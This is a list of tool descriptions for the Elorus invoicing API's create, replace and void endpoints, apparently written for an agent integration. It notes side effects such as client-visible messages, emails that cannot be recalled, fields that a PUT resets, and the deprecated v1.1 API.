elorus_post_v1_2_products_by_parent_pk_stockadjustments (write) — Record a stock adjustment against one product -- a product or service line item, with its price and stock. This MOVES THE STOCK LEVEL in the named warehouse rather than describing it via POST /v1.2/products/{parent_pk}/stockadjustments/ POST /api/v1/elorus/v1.2/products/{parent_pk}/stockadjustments. Scopes: api. elorus_post_v1_2_projects (write) — Create a project -- a billable engagement that time entries and expenses hang off -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/projects/ POST /api/v1/elorus/v1.2/projects. Scopes: api. elorus_post_v1_2_projects_by_parent_pk_discussions (write) — Add a message to the client-facing discussion thread on one project -- a billable engagement that time entries and expenses hang off. VISIBLE TO THE CONTACT on the document's public page, which is the whole difference between this and adding a note via POST /v1.2/projects/{parent_pk}/discussions/ POST /api/v1/elorus/v1.2/projects/{parent_pk}/discussions. Scopes: api. elorus_post_v1_2_projects_by_parent_pk_notes (write) — Attach an internal note to one project -- a billable engagement that time entries and expenses hang off. Private to the organization, so it never reaches the contact via POST /v1.2/projects/{parent_pk}/notes/ POST /api/v1/elorus/v1.2/projects/{parent_pk}/notes. Scopes: api. elorus_post_v1_2_projects_by_parent_pk_projectextrafees (write) — Attach an extra fee to one project -- a billable engagement that time entries and expenses hang off. It is invoiced alongside the project's tracked time, so this CHANGES WHAT THE CLIENT WILL BE BILLED via POST /v1.2/projects/{parent_pk}/projectextrafees/ POST /api/v1/elorus/v1.2/projects/{parent_pk}/projectextrafees. Scopes: api. elorus_post_v1_2_recurringinvoices (write) — Create a recurring invoice -- the schedule Elorus issues repeating invoices from -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/recurringinvoices/ POST /api/v1/elorus/v1.2/recurringinvoices. Scopes: api. elorus_post_v1_2_recurringinvoices_by_parent_pk_notes (write) — Attach an internal note to one recurring invoice -- the schedule Elorus issues repeating invoices from. Private to the organization, so it never reaches the contact via POST /v1.2/recurringinvoices/{parent_pk}/notes/ POST /api/v1/elorus/v1.2/recurringinvoices/{parent_pk}/notes. Scopes: api. elorus_post_v1_2_suppliercredits (write) — Create a supplier credit -- credit received FROM a supplier, which can then be applied against bills -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/suppliercredits/ POST /api/v1/elorus/v1.2/suppliercredits. Scopes: api. elorus_post_v1_2_suppliercredits_by_id_email (write) — SENDS AN EMAIL TO A REAL RECIPIENT, which cannot be recalled: email one supplier credit -- credit received FROM a supplier, which can then be applied against bills -- to its contact. Preview it first with the GET tool on the same path to see exactly who would receive it. A demo organization cannot send email to customers, so this tool cannot be exercised end-to-end under the demo guard via POST /v1.2/suppliercredits/{id}/email/ POST /api/v1/elorus/v1.2/suppliercredits/{id}/email. Scopes: api. elorus_post_v1_2_suppliercredits_by_parent_pk_applied_credit (write) — Apply credit against one supplier credit -- credit received FROM a supplier, which can then be applied against bills -- which CHANGES WHAT IS OWED on both the document and the credit it draws from. Elorus refuses an amount larger than the remaining credit with a 400 via POST /v1.2/suppliercredits/{parent_pk}/applied-credit/ POST /api/v1/elorus/v1.2/suppliercredits/{parent_pk}/applied-credit. Scopes: api. elorus_post_v1_2_suppliercredits_by_parent_pk_notes (write) — Attach an internal note to one supplier credit -- credit received FROM a supplier, which can then be applied against bills. Private to the organization, so it never reaches the contact via POST /v1.2/suppliercredits/{parent_pk}/notes/ POST /api/v1/elorus/v1.2/suppliercredits/{parent_pk}/notes. Scopes: api. elorus_post_v1_2_tasks (write) — Create a task -- a billable activity type time entries are recorded against -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/tasks/ POST /api/v1/elorus/v1.2/tasks. Scopes: api. elorus_post_v1_2_timeentries (write) — Create a time entry -- tracked time on a project, billable or not -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/timeentries/ POST /api/v1/elorus/v1.2/timeentries. Scopes: api. elorus_post_v1_2_unitofmeasurement (write) — Create a unit of measurement -- the unit a product quantity is expressed in -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/unitofmeasurement/ POST /api/v1/elorus/v1.2/unitofmeasurement. Scopes: api. elorus_post_v1_2_warehouse (write) — Create a warehouse -- a stock location goods receipts and adjustments move stock through -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/warehouse/ POST /api/v1/elorus/v1.2/warehouse. Scopes: api. elorus_put_v1_1_bills_by_id (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. REPLACE one bill -- a purchase invoice a supplier issued to this organization. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.1/bills/{id}/ PUT /api/v1/elorus/v1.1/bills/{id}. Scopes: api. elorus_put_v1_1_bills_by_id_void (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Mark one bill VOID -- a purchase invoice a supplier issued to this organization. Voiding is the state change Elorus offers instead of deleting a document that has already been issued: the document and its number survive, it stops counting towards balances, and nothing in this integration un-voids it via PUT /v1.1/bills/{id}/void/ PUT /api/v1/elorus/v1.1/bills/{id}/void. Scopes: api. elorus_put_v1_1_cashpayments_by_id (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. REPLACE one cash payment -- money paid OUT, against a bill or a supplier. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.1/cashpayments/{id}/ PUT /api/v1/elorus/v1.1/cashpayments/{id}. Scopes: api. elorus_put_v1_1_cashreceipts_by_id (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. REPLACE one cash receipt -- money taken IN, against an invoice or a client. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.1/cashreceipts/{id}/ PUT /api/v1/elorus/v1.1/cashreceipts/{id}. Scopes: api. elorus_put_v1_1_contacts_by_id (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. REPLACE one contact -- a client or supplier, with its billing and shipping addresses. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.1/contacts/{id}/ PUT /api/v1/elorus/v1.1/contacts/{id}. Scopes: api. elorus_put_v1_1_creditnotes_by_id (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. REPLACE one credit note -- credit issued TO a client, which can then be applied against invoices. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.1/creditnotes/{id}/ PUT /api/v1/elorus/v1.1/creditnotes/{id}. Scopes: api. elorus_put_v1_1_creditnotes_by_id_void (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Mark one credit note VOID -- credit issued TO a client, which can then be applied against invoices. Voiding is the state change Elorus offers instead of deleting a document that has already been issued: the document and its number survive, it stops counting towards balances, and nothing in this integration un-voids it via PUT /v1.1/creditnotes/{id}/void/ PUT /api/v1/elorus/v1.1/creditnotes/{id}/void. Scopes: api. elorus_put_v1_1_emailtemplates_by_id (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. REPLACE one email template -- the subject and body Elorus uses when it emails a document. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.1/emailtemplates/{id}/ PUT /api/v1/elorus/v1.1/emailtemplates/{id}. Scopes: api. elorus_put_v1_1_estimates_by_id (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. REPLACE one estimate -- a quotation sent to a client before any invoice exists. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.1/estimates/{id}/ PUT /api/v1/elorus/v1.1/estimates/{id}. Scopes: api. elorus_put_v1_1_expenses_by_id (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. REPLACE one expense -- a cost recorded against the organization, optionally billable to a project. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.1/expenses/{id}/ PUT /api/v1/elorus/v1.1/expenses/{id}. Scopes: api. elorus_put_v1_1_invoices_by_id (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. REPLACE one invoice -- a sales invoice issued to a client. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.1/invoices/{id}/ PUT /api/v1/elorus/v1.1/invoices/{id}. Scopes: api. elorus_put_v1_1_invoices_by_id_void (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Mark one invoice VOID -- a sales invoice issued to a client. Voiding is the state change Elorus offers instead of deleting a document that has already been issued: the document and its number survive, it stops counting towards balances, and nothing in this integration un-voids it via PUT /v1.1/invoices/{id}/void/ PUT /api/v1/elorus/v1.1/invoices/{id}/void. Scopes: api. elorus_put_v1_1_numberingsequence_by_id (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. REPLACE one numbering sequence -- the counter Elorus draws document numbers from. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.1/numberingsequence/{id}/ PUT /api/v1/elorus/v1.1/numberingsequence/{id}. Scopes: api. elorus_put_v1_1_products_by_id (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. REPLACE one product -- a product or service line item, with its price and stock. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.1/products/{id}/ PUT /api/v1/elorus/v1.1/products/{id}. Scopes: api. elorus_put_v1_1_recurringinvoices_by_id (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. REPLACE one recurring invoice -- the schedule Elorus issues repeating invoices from. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.1/recurringinvoices/{id}/ PUT /api/v1/elorus/v1.1/recurringinvoices/{id}. Scopes: api. elorus_put_v1_1_suppliercredits_by_id (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. REPLACE one supplier credit -- credit received FROM a supplier, which can then be applied against bills. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.1/suppliercredits/{id}/ PUT /api/v1/elorus/v1.1/suppliercredits/{id}. Scopes: api. elorus_put_v1_1_suppliercredits_by_id_void (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Mark one supplier credit VOID -- credit received FROM a supplier, which can then be applied against bills. Voiding is the state change Elorus offers instead of deleting a document that has already been issued: the document and its number survive, it stops counting towards balances, and nothing in this integration un-voids it via PUT /v1.1/suppliercredits/{id}/void/ PUT /api/v1/elorus/v1.1/suppliercredits/{id}/void. Scopes: api. elorus_put_v1_2_bills_by_id (write) — REPLACE one bill -- a purchase invoice a supplier issued to this organization. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/bills/{id}/ PUT /api/v1/elorus/v1.2/bills/{id}. Scopes: api. elorus_put_v1_2_bills_by_id_void (write) — Mark one bill VOID -- a purchase invoice a supplier issued to this organization. Voiding is the state change Elorus offers instead of deleting a document that has already been issued: the document and its number survive, it stops counting towards balances, and nothing in this integration un-voids it via PUT /v1.2/bills/{id}/void/ PUT /api/v1/elorus/v1.2/bills/{id}/void. Scopes: api. elorus_put_v1_2_bills_by_parent_pk_notes_by_id (write) — REPLACE one internal note on a bill -- a purchase invoice a supplier issued to this organization. A PUT sends the whole note, so the previous text is gone rather than amended via PUT /v1.2/bills/{parent_pk}/notes/{id}/ PUT /api/v1/elorus/v1.2/bills/{parent_pk}/notes/{id}. Scopes: api. elorus_put_v1_2_cashpayments_by_id (write) — REPLACE one cash payment -- money paid OUT, against a bill or a supplier. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/cashpayments/{id}/ PUT /api/v1/elorus/v1.2/cashpayments/{id}. Scopes: api. elorus_put_v1_2_cashpayments_by_parent_pk_notes_by_id (write) — REPLACE one internal note on a cash payment -- money paid OUT, against a bill or a supplier. A PUT sends the whole note, so the previous text is gone rather than amended via PUT /v1.2/cashpayments/{parent_pk}/notes/{id}/ PUT /api/v1/elorus/v1.2/cashpayments/{parent_pk}/notes/{id}. Scopes: api. elorus_put_v1_2_cashreceipts_by_id (write) — REPLACE one cash receipt -- money taken IN, against an invoice or a client. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/cashreceipts/{id}/ PUT /api/v1/elorus/v1.2/cashreceipts/{id}. Scopes: api. elorus_put_v1_2_cashreceipts_by_parent_pk_notes_by_id (write) — REPLACE one internal note on a cash receipt -- money taken IN, against an invoice or a client. A PUT sends the whole note, so the previous text is gone rather than amended via PUT /v1.2/cashreceipts/{parent_pk}/notes/{id}/ PUT /api/v1/elorus/v1.2/cashreceipts/{parent_pk}/notes/{id}. Scopes: api. elorus_put_v1_2_contacts_by_id (write) — REPLACE one contact -- a client or supplier, with its billing and shipping addresses. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/contacts/{id}/ PUT /api/v1/elorus/v1.2/contacts/{id}. Scopes: api. elorus_put_v1_2_contacts_by_parent_pk_notes_by_id (write) — REPLACE one internal note on a contact -- a client or supplier, with its billing and shipping addresses. A PUT sends the whole note, so the previous text is gone rather than amended via PUT /v1.2/contacts/{parent_pk}/notes/{id}/ PUT /api/v1/elorus/v1.2/contacts/{parent_pk}/notes/{id}. Scopes: api. elorus_put_v1_2_creditnotes_by_id (write) — REPLACE one credit note -- credit issued TO a client, which can then be applied against invoices. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/creditnotes/{id}/ PUT /api/v1/elorus/v1.2/creditnotes/{id}. Scopes: api. elorus_put_v1_2_creditnotes_by_id_void (write) — Mark one credit note VOID -- credit issued TO a client, which can then be applied against invoices. Voiding is the state change Elorus offers instead of deleting a document that has already been issued: the document and its number survive, it stops counting towards balances, and nothing in this integration un-voids it via PUT /v1.2/creditnotes/{id}/void/ PUT /api/v1/elorus/v1.2/creditnotes/{id}/void. Scopes: api. elorus_put_v1_2_creditnotes_by_parent_pk_discussions_by_id (write) — REPLACE one client-facing discussion message on a credit note -- credit issued TO a client, which can then be applied against invoices. A PUT sends the whole message, and the contact sees the new text via PUT /v1.2/creditnotes/{parent_pk}/discussions/{id}/ PUT /api/v1/elorus/v1.2/creditnotes/{parent_pk}/discussions/{id}. Scopes: api. elorus_put_v1_2_creditnotes_by_parent_pk_notes_by_id (write) — REPLACE one internal note on a credit note -- credit issued TO a client, which can then be applied against invoices. A PUT sends the whole note, so the previous text is gone rather than amended via PUT /v1.2/creditnotes/{parent_pk}/notes/{id}/ PUT /api/v1/elorus/v1.2/creditnotes/{parent_pk}/notes/{id}. Scopes: api. elorus_put_v1_2_deliverynotes_by_id (write) — REPLACE one delivery note -- a despatch document for goods sent to a client. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/deliverynotes/{id}/ PUT /api/v1/elorus/v1.2/deliverynotes/{id}. Scopes: api. elorus_put_v1_2_deliverynotes_by_id_void (write) — Mark one delivery note VOID -- a despatch document for goods sent to a client. Voiding is the state change Elorus offers instead of deleting a document that has already been issued: the document and its number survive, it stops counting towards balances, and nothing in this integration un-voids it via PUT /v1.2/deliverynotes/{id}/void/ PUT /api/v1/elorus/v1.2/deliverynotes/{id}/void. Scopes: api. elorus_put_v1_2_deliverynotes_by_parent_pk_notes_by_id (write) — REPLACE one internal note on a delivery note -- a despatch document for goods sent to a client. A PUT sends the whole note, so the previous text is gone rather than amended via PUT /v1.2/deliverynotes/{parent_pk}/notes/{id}/ PUT /api/v1/elorus/v1.2/deliverynotes/{parent_pk}/notes/{id}. Scopes: api. elorus_put_v1_2_documenttypes_by_parent_pk_sequences_rename (write) — Rename one numbering sequence on a document type -- one of the organization's document kinds, which owns its own numbering sequences. The sequence and its new name are both named in the request body; the counter is untouched via PUT /v1.2/documenttypes/{parent_pk}/sequences/rename/ PUT /api/v1/elorus/v1.2/documenttypes/{parent_pk}/sequences/rename. Scopes: api. elorus_put_v1_2_emailtemplates_by_id (write) — REPLACE one email template -- the subject and body Elorus uses when it emails a document. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/emailtemplates/{id}/ PUT /api/v1/elorus/v1.2/emailtemplates/{id}. Scopes: api. elorus_put_v1_2_estimates_by_id (write) — REPLACE one estimate -- a quotation sent to a client before any invoice exists. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/estimates/{id}/ PUT /api/v1/elorus/v1.2/estimates/{id}. Scopes: api. elorus_put_v1_2_estimates_by_parent_pk_discussions_by_id (write) — REPLACE one client-facing discussion message on an estimate -- a quotation sent to a client before any invoice exists. A PUT sends the whole message, and the contact sees the new text via PUT /v1.2/estimates/{parent_pk}/discussions/{id}/ PUT /api/v1/elorus/v1.2/estimates/{parent_pk}/discussions/{id}. Scopes: api. elorus_put_v1_2_estimates_by_parent_pk_notes_by_id (write) — REPLACE one internal note on an estimate -- a quotation sent to a client before any invoice exists. A PUT sends the whole note, so the previous text is gone rather than amended via PUT /v1.2/estimates/{parent_pk}/notes/{id}/ PUT /api/v1/elorus/v1.2/estimates/{parent_pk}/notes/{id}. Scopes: api. elorus_put_v1_2_expenses_by_id (write) — REPLACE one expense -- a cost recorded against the organization, optionally billable to a project. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/expenses/{id}/ PUT /api/v1/elorus/v1.2/expenses/{id}. Scopes: api. elorus_put_v1_2_expenses_by_parent_pk_notes_by_id (write) — REPLACE one internal note on an expense -- a cost recorded against the organization, optionally billable to a project. A PUT sends the whole note, so the previous text is gone rather than amended via PUT /v1.2/expenses/{parent_pk}/notes/{id}/ PUT /api/v1/elorus/v1.2/expenses/{parent_pk}/notes/{id}. Scopes: api. elorus_put_v1_2_goodsreceipts_by_id (write) — REPLACE one goods receipt -- a record of stock received into a warehouse. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/goodsreceipts/{id}/ PUT /api/v1/elorus/v1.2/goodsreceipts/{id}. Scopes: api. elorus_put_v1_2_goodsreceipts_by_id_void (write) — Mark one goods receipt VOID -- a record of stock received into a warehouse. Voiding is the state change Elorus offers instead of deleting a document that has already been issued: the document and its number survive, it stops counting towards balances, and nothing in this integration un-voids it via PUT /v1.2/goodsreceipts/{id}/void/ PUT /api/v1/elorus/v1.2/goodsreceipts/{id}/void. Scopes: api. elorus_put_v1_2_goodsreceipts_by_parent_pk_notes_by_id (write) — REPLACE one internal note on a goods receipt -- a record of stock received into a warehouse. A PUT sends the whole note, so the previous text is gone rather than amended via PUT /v1.2/goodsreceipts/{parent_pk}/notes/{id}/ PUT /api/v1/elorus/v1.2/goodsreceipts/{parent_pk}/notes/{id}. Scopes: api. elorus_put_v1_2_goodsreceiptsequences_rename (write) — Rename one goods-receipt numbering sequence -- the counter Elorus draws goods-receipt numbers from. The sequence and its new name are both named in the request body; the counter is untouched via PUT /v1.2/goodsreceiptsequences/rename/ PUT /api/v1/elorus/v1.2/goodsreceiptsequences/rename. Scopes: api. elorus_put_v1_2_invoices_by_id (write) — REPLACE one invoice -- a sales invoice issued to a client. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/invoices/{id}/ PUT /api/v1/elorus/v1.2/invoices/{id}. Scopes: api. elorus_put_v1_2_invoices_by_id_void (write) — Mark one invoice VOID -- a sales invoice issued to a client. Voiding is the state change Elorus offers instead of deleting a document that has already been issued: the document and its number survive, it stops counting towards balances, and nothing in this integration un-voids it via PUT /v1.2/invoices/{id}/void/ PUT /api/v1/elorus/v1.2/invoices/{id}/void. Scopes: api. elorus_put_v1_2_invoices_by_parent_pk_discussions_by_id (write) — REPLACE one client-facing discussion message on an invoice -- a sales invoice issued to a client. A PUT sends the whole message, and the contact sees the new text via PUT /v1.2/invoices/{parent_pk}/discussions/{id}/ PUT /api/v1/elorus/v1.2/invoices/{parent_pk}/discussions/{id}. Scopes: api. elorus_put_v1_2_invoices_by_parent_pk_notes_by_id (write) — REPLACE one internal note on an invoice -- a sales invoice issued to a client. A PUT sends the whole note, so the previous text is gone rather than amended via PUT /v1.2/invoices/{parent_pk}/notes/{id}/ PUT /api/v1/elorus/v1.2/invoices/{parent_pk}/notes/{id}. Scopes: api. elorus_put_v1_2_organizationbranch_by_id (write) — REPLACE one organization branch -- a branch or establishment of the organization. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/organizationbranch/{id}/ PUT /api/v1/elorus/v1.2/organizationbranch/{id}. Scopes: api. elorus_put_v1_2_products_by_id (write) — REPLACE one product -- a product or service line item, with its price and stock. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/products/{id}/ PUT /api/v1/elorus/v1.2/products/{id}. Scopes: api. elorus_put_v1_2_products_by_parent_pk_notes_by_id (write) — REPLACE one internal note on a product -- a product or service line item, with its price and stock. A PUT sends the whole note, so the previous text is gone rather than amended via PUT /v1.2/products/{parent_pk}/notes/{id}/ PUT /api/v1/elorus/v1.2/products/{parent_pk}/notes/{id}. Scopes: api. elorus_put_v1_2_projects_by_id (write) — REPLACE one project -- a billable engagement that time entries and expenses hang off. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/projects/{id}/ PUT /api/v1/elorus/v1.2/projects/{id}. Scopes: api. elorus_put_v1_2_projects_by_parent_pk_discussions_by_id (write) — REPLACE one client-facing discussion message on a project -- a billable engagement that time entries and expenses hang off. A PUT sends the whole message, and the contact sees the new text via PUT /v1.2/projects/{parent_pk}/discussions/{id}/ PUT /api/v1/elorus/v1.2/projects/{parent_pk}/discussions/{id}. Scopes: api. elorus_put_v1_2_projects_by_parent_pk_notes_by_id (write) — REPLACE one internal note on a project -- a billable engagement that time entries and expenses hang off. A PUT sends the whole note, so the previous text is gone rather than amended via PUT /v1.2/projects/{parent_pk}/notes/{id}/ PUT /api/v1/elorus/v1.2/projects/{parent_pk}/notes/{id}. Scopes: api. elorus_put_v1_2_projects_by_parent_pk_projectextrafees_by_id (write) — REPLACE one extra fee on a project -- a billable engagement that time entries and expenses hang off. A PUT sends the whole fee, so an omitted field is reset rather than left alone via PUT /v1.2/projects/{parent_pk}/projectextrafees/{id}/ PUT /api/v1/elorus/v1.2/projects/{parent_pk}/projectextrafees/{id}. Scopes: api. elorus_put_v1_2_recurringinvoices_by_id (write) — REPLACE one recurring invoice -- the schedule Elorus issues repeating invoices from. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/recurringinvoices/{id}/ PUT /api/v1/elorus/v1.2/recurringinvoices/{id}. Scopes: api. elorus_put_v1_2_recurringinvoices_by_parent_pk_notes_by_id (write) — REPLACE one internal note on a recurring invoice -- the schedule Elorus issues repeating invoices from. A PUT sends the whole note, so the previous text is gone rather than amended via PUT /v1.2/recurringinvoices/{parent_pk}/notes/{id}/ PUT /api/v1/elorus/v1.2/recurringinvoices/{parent_pk}/notes/{id}. Scopes: api. elorus_put_v1_2_suppliercredits_by_id (write) — REPLACE one supplier credit -- credit received FROM a supplier, which can then be applied against bills. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/suppliercredits/{id}/ PUT /api/v1/elorus/v1.2/suppliercredits/{id}. Scopes: api. elorus_put_v1_2_suppliercredits_by_id_void (write) — Mark one supplier credit VOID -- credit received FROM a supplier, which can then be applied against bills. Voiding is the state change Elorus offers instead of deleting a document that has already been issued: the document and its number survive, it stops counting towards balances, and nothing in this integration un-voids it via PUT /v1.2/suppliercredits/{id}/void/ PUT /api/v1/elorus/v1.2/suppliercredits/{id}/void. Scopes: api. elorus_put_v1_2_suppliercredits_by_parent_pk_notes_by_id (write) — REPLACE one internal note on a supplier credit -- credit received FROM a supplier, which can then be applied against bills. A PUT sends the whole note, so the previous text is gone rather than amended via PUT /v1.2/suppliercredits/{parent_pk}/notes/{id}/ PUT /api/v1/elorus/v1.2/suppliercredits/{parent_pk}/notes/{id}. Scopes: api. elorus_put_v1_2_tasks_by_id (write) — REPLACE one task -- a billable activity type time entries are recorded against. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/tasks/{id}/ PUT /api/v1/elorus/v1.2/tasks/{id}. Scopes: api. elorus_put_v1_2_timeentries_by_id (write) — REPLACE one time entry -- tracked time on a project, billable or not. A PUT sends the whole document: a field you omit is not left alone, it is reset, and nested line arrays replace the existing lines wholesale. Use the PATCH tool to change one field via PUT /v1.2/timeentries/{id}/ PUT /api/v1/elorus/v1.2/timeentries/{id}. Scopes: api. elorus_put_v1_2_timeentries_by_id_mark_billed (write) — Flag one time entry -- tracked time on a project, billable or not -- as billed, which takes it out of the pool the next project invoice draws from via PUT /v1.2/timeentries/{id}/mark-billed/ PUT /api/v1/elorus/v1.2/timeentries/{id}/mark-billed. Scopes: api. 